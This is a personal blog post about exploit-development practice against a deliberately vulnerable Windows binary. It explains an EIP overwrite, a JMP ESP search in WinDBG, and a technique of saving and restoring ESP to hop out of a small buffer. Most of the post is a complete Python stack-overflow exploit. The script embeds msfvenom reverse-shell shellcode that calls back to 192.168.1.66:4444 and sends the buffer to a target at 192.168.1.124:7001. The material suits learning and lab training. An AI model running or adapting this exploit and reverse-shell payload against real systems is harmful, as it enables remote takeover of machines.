12 Mar 2022

Exploit Dev practice - small buffer; restoring ESP

Going back to learn more about things i really enjoy (exploit development) rather than spending so much time on the things i mostly do at work (infrastructure).

The learnings from this entry level binary were:

  • reminder of a simple approach to jump out of a small buffer into a larger space.
  • the importance of saving, then restoring the stack pointer before executing shellcode if you use this approach.
  • more windbg practice rather than olly.

practice1

  • Immediate overwrite of EIP and determined the offset using the usual methods.
  • Identified that the referenced by ESP was useful
  • Identified a JMP ESP instruction in a module without ASLR

practice1

We remember that JMP ESP is ffe4 but if we didn’t we could use msf-nasm_shell.

We can use WinDBG to search for the required instruction (the memory ranges to search were in Process Hacker screenshot, but also could be found with the lm instruction in WinDBG):

0:006> s -b 14800000 14816000 0xff 0xe4
148010cf  ff e4 83 7d f8 00 75 03-58 5b c3 5b 8b e5 5d c3  ...}..u.X[.[..].
  • Identified that the buffer, while useful was too small.
  • Saved ESP into EAX
  • Incremented ESP to point to the second buffer that we could see in Windbg
  • JMP ESP again.
  • Restore ESP (mov ESP, EAX)
  • Execute shellcode
import socket
# 351 bytes - msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.66 LPORT=4444 -f c -b "\x00"
shellcode = b"\xdd\xc7\xb8\x47\x97\xaf\x30\xd9\x74\x24\xf4\x5a\x33\xc9\xb1\x52\x31\x42\x17\x83\xea\xfc\x03\x05\x84\x4d\xc5\x75\x42\x13\x26\x85\x93\x74\xae\x60\xa2\xb4\xd4\xe1\x95\x04\x9e\xa7\x19\xee\xf2\x53\xa9\x82\xda\x54\x1a\x28\x3d\x5b\x9b\x01\x7d\xfa\x1f\x58\x52\xdc\x1e\x93\xa7\x1d\x66\xce\x4a\x4f\x3f\x84\xf9\x7f\x34\xd0\xc1\xf4\x06\xf4\x41\xe9\xdf\xf7\x60\xbc\x54\xae\xa2\x3f\xb8\xda\xea\x27\xdd\xe7\xa5\xdc\x15\x93\x37\x34\x64\x5c\x9b\x79\x48\xaf\xe5\xbe\x6f\x50\x90\xb6\x93\xed\xa3\x0d\xe9\x29\x21\x95\x49\xb9\x91\x71\x6b\x6e\x47\xf2\x67\xdb\x03\x5c\x64\xda\xc0\xd7\x90\x57\xe7\x37\x11\x23\xcc\x93\x79\xf7\x6d\x82\x27\x56\x91\xd4\x87\x07\x37\x9f\x2a\x53\x4a\xc2\x22\x90\x67\xfc\xb2\xbe\xf0\x8f\x80\x61\xab\x07\xa9\xea\x75\xd0\xce\xc0\xc2\x4e\x31\xeb\x32\x47\xf6\xbf\x62\xff\xdf\xbf\xe8\xff\xe0\x15\xbe\xaf\x4e\xc6\x7f\x1f\x2f\xb6\x17\x75\xa0\xe9\x08\x76\x6a\x82\xa3\x8d\xfd\x6d\x9b\x8c\xbf\x05\xde\x8e\x2e\x8a\x57\x68\x3a\x22\x3e\x23\xd3\xdb\x1b\xbf\x42\x23\xb6\xba\x45\xaf\x35\x3b\x0b\x58\x33\x2f\xfc\xa8\x0e\x0d\xab\xb7\xa4\x39\x37\x25\x23\xb9\x3e\x56\xfc\xee\x17\xa8\xf5\x7a\x8a\x93\xaf\x98\x57\x45\x97\x18\x8c\xb6\x16\xa1\x41\x82\x3c\xb1\x9f\x0b\x79\xe5\x4f\x5a\xd7\x53\x36\x34\x99\x0d\xe0\xeb\x73\xd9\x75\xc0\x43\x9f\x79\x0d\x32\x7f\xcb\xf8\x03\x80\xe4\x6c\x84\xf9\x18\x0d\x6b\xd0\x98\x3d\x26\x78\x88\xd5\xef\xe9\x88\xbb\x0f\xc4\xcf\xc5\x93\xec\xaf\x31\x8b\x85\xaa\x7e\x0b\x76\xc7\xef\xfe\x78\x74\x0f\x2b"
buffer = b"\x90" * 500
buffer += b"\x89\xC4" # Stage 2 - Restore ESP with mov esp, eax
buffer += shellcode
buffer += b"\x90" * (2288 - 500 - 351 -2) # EIP 2288
buffer += b"\xcf\x10\x80\x14" # Stage 1 - 148010cf - JMP ESP 
buffer += b"\x90" * 14
buffer += b"\x89\xE0" # Stage 1, save ESP - mov eax, esp
buffer += b"\x83\xc4\x5e" # 83C45E - add esp,0x5e (Stage 1, incremement esp by 94 bytes)
buffer += b"\x83\xc4\x5e" # 83C45E - add esp,0x5e (Stage 1, incremement esp by 94 bytes)
buffer += b"\x83\xc4\x5e" # 83C45E - add esp,0x5e (Stage 1, incremement esp by 94 bytes)
buffer += b"\xff\xe4" # Stage 1, JMP ESP - We land in the bytes at line 7, Stage 2.
buffer += b"C" * (2560 - 2288 - 4 - 14 - 3 - 3 - 3 - 2)
print("\nSending evil buffer...{}", buffer)
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.124", 7001))
s.send(buffer)
s.close()
print("\nDone!")


Chad Duffey

Security Engineer